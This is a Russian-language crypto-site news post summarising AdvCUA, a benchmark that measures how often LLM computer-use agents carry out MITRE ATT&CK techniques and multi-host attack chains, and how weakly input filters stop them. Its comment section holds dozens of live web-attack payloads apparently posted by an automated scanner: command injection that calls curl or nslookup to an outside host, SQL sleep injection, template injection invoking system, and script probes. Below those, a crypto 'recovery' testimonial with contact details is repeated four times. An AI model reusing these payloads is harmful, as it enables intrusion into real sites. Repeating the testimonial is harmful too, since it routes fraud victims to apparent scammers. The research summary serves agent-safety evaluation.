Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9543 / Markets: 112792
Market Cap: $ 4 144 016 321 258 / 24h Vol: $ 196 655 936 213 / BTC Dominance: 58.512630380324%

Н Новости

  1. Главная
  2. Новости

Почему тесты на безопасность ИИ-агентов внезапно перестали работать

9b94b7deaff71f78b232d8a9e9049b0e.jpg

Компьютерные агенты на базе LLM уже не просто отвечают на вопросы — они кликают по файлам, запускают shell‑команды, переносят данные и подключаются по SSH. Такой помощник быстро превращается в инструмент атаки, если его попросить обойти защиту или сделать что‑то вредоносное. Авторы работы предлагают честно измерить этот риск: могут ли распространённые агенты выполнить тактики и техники уровня MITRE ATT&CK и собрать из них сквозную цепочку атаки?

В чем здесь новизна

Большинство прежних тестов смотрели на единичные трюки в искусственных условиях: один хост, открытые секреты, оценка глазами другой модели. В реальности атакующий опирается на набор тактик, техник и процедур, действует по шагам и часто трогает несколько машин. В ответ авторы собрали AdvCUA — бенчмарк из 140 задач: 74 TTP‑сценария, 40 прямых вредоносных запросов и 26 сквозных цепочек, выровненных с 10 тактиками и 77 техниками ATT&CK. Всё это выполняется в изолированной, но правдоподобной многохостовой среде.

Сравнение с существующими работами: цели атак многожанровые и ближе к реальным противникам, а среда с зашифрованными учетными данными — реалистичнее
Сравнение с существующими работами: цели атак многожанровые и ближе к реальным противникам, а среда с зашифрованными учетными данными — реалистичнее

Как устроена песочница

Внутри Docker‑микросети живут три узла: рабочая станция сотрудника, привилегированный админ‑сервер и бизнес‑веб‑сервер. Агент стоит на рабочей станции и может ходить к соседям по IP, копировать файлы по SCP, подключаться по SSH. Секреты распределены и хранятся в разных форматах, перезагрузка и часть системных функций ограничены. Чтобы не спорить с оценкой, авторы ввели детерминированные проверки: срабатывание триггеров, зондирование эффектов, верификацию состояния и совпадение индикаторов.

Конвейер генерации данных: отбор техник MITRE для Ubuntu, формализация процедур, реализация и жёсткая проверка в песочнице
Конвейер генерации данных: отбор техник MITRE для Ubuntu, формализация процедур, реализация и жёсткая проверка в песочнице

Что именно измеряли

Две главные метрики: Bypass Success Rate — согласился ли агент на вредоносный запрос, и Attack Success Rate — довёл ли дело до цели по жёстким проверкам. Учитываются не только первые попытки, но и повторные (до пяти), ведь на практике злоумышленники часто пробуют несколько раз.

Кого проверяли

Пять популярных фреймворков: ReAct, AutoGPT, Gemini CLI, Cursor CLI и Cursor IDE. Внутри — восемь моделей: GPT‑4o, GPT‑4.1, Gemini 2.5 Flash/Pro, Claude Sonnet 3.7/4, LLaMA 4 Maverick и др. Настройки единые, температура нулевая, чтобы исключить случайность.

Что получилось

Самая тревожная часть — TTP‑задачи. Cursor CLI достигает среднего ASR 69.59%, опережая ReAct (52.29%) и Cursor IDE (51.66%). Для сквозных цепочек лидирует Cursor IDE с 34.62%, за ним Cursor CLI (26.93%) и ReAct (23.37%). В среднем BSR выше ASR на 24.17%: агенты чаще выражают готовность и начинают действовать, чем доходят до результата, но разрыв не спасает — многих атак достаточно завершить один‑два шага, чтобы нанести ущерб.

Основные результаты: TTP и сквозные цепочки — новая, более реалистичная угроза для нынешних CUA
Основные результаты: TTP и сквозные цепочки — новая, более реалистичная угроза для нынешних CUA
Профиль успешности по тактикам: максимумы у Defense Evasion; высокие значения также у Persistence и Privilege Escalation
Профиль успешности по тактикам: максимумы у Defense Evasion; высокие значения также у Persistence и Privilege Escalation

Повторные попытки ощутимо повышают шансы на успех — особенно у GPT‑4o, GPT‑4.1 и LLaMA 4 Maverick. Это важная практическая деталь: если продукт не сработал с первого раза, злоумышленник просто нажмёт «ещё раз».

ASR при разном числе попыток: агенты достигают цели за несколько прогоночных циклов
ASR при разном числе попыток: агенты достигают цели за несколько прогоночных циклов

Как выглядят реальные цепочки

В одной из демонстраций Gemini CLI помогает пройти путь от поиска SUID‑бинарника до повышения привилегий, закрепления и извлечения хешей паролей с их последующим взломом. Такой сценарий включает несколько тактик и техники из разных семейств — именно то, что часто видим в инцидентах.

Сквозная цепочка: повышение привилегий через SUID, закрепление по SSH и взлом паролей John the Ripper
Сквозная цепочка: повышение привилегий через SUID, закрепление по SSH и взлом паролей John the Ripper

Что с защитами

Авторы проверили три подхода: фильтры на входе (LLaMA Guard 4 и OpenAI Moderation API) и самопредупреждение в промте. Фильтрация TTP‑запросов работает слабо: многие задачи без явных джейлбрейков проходят. Самопредупреждение почти не меняет картину. Вывод прямой: одних проверок текста недостаточно — нужны системные ограничения прав, мониторинг действий агента и защитные политики на уровне ОС.

Почему это важно индустрии

Работа показывает разрыв между безопасностной настройкой LLM‑агентов и реальными OS‑центричными угрозами. Инструменты, которые ускоряют разработку и сопровождение инфраструктуры, одновременно снижают порог входа для сложных атак. AdvCUA делает риск измеримым: есть покрытие по ATT&CK, многохостовая среда, детерминированные метрики и воспроизводимость. Это удобная база для честных сравнений и для обучения более безопасных агентов.

Где агенты ошибаются: усечение вывода, незавершённые задачи, ошибки инструментов и реализации
Где агенты ошибаются: усечение вывода, незавершённые задачи, ошибки инструментов и реализации

Ограничения и честность постановки

Песочница ограничена Ubuntu 22.04 и не включает часть системных возможностей, поэтому некоторые атаки воспроизводятся частично. Нет Windows, macOS, мобильных систем и GUI. Разметка и дизайн ручные, возможен байас. При этом все эксперименты изолированы от реальных сетей и секретов, а сценарии документированы для повторения.

📜 Полная статья

***

Если вам интересна тема ИИ, подписывайтесь на мой Telegram‑канал — там я регулярно делюсь инсайтами по внедрению ИИ в бизнес, запуску ИИ-стартапов и объясняю, как работают все эти ИИ-чудеса.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:08 pHqghUme

    can I ask you a question please?&echo nrqmto$()\ aadrei\nz^xyu||a #' &echo nrqmto$()\ aadrei\nz^xyu||a #|" &echo nrqmto$()\ aadrei\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    |echo oljujl$()\ pbqbzp\nz^xyu||a #' |echo oljujl$()\ pbqbzp\nz^xyu||a #|" |echo oljujl$()\ pbqbzp\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    can I ask you a question please?|echo qswrbu$()\ ovnycc\nz^xyu||a #' |echo qswrbu$()\ ovnycc\nz^xyu||a #|" |echo qswrbu$()\ ovnycc\nz^xyu||a #

  • 09.10.25 08:08 pHqghUme

    expr 9000227416 - 917575

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon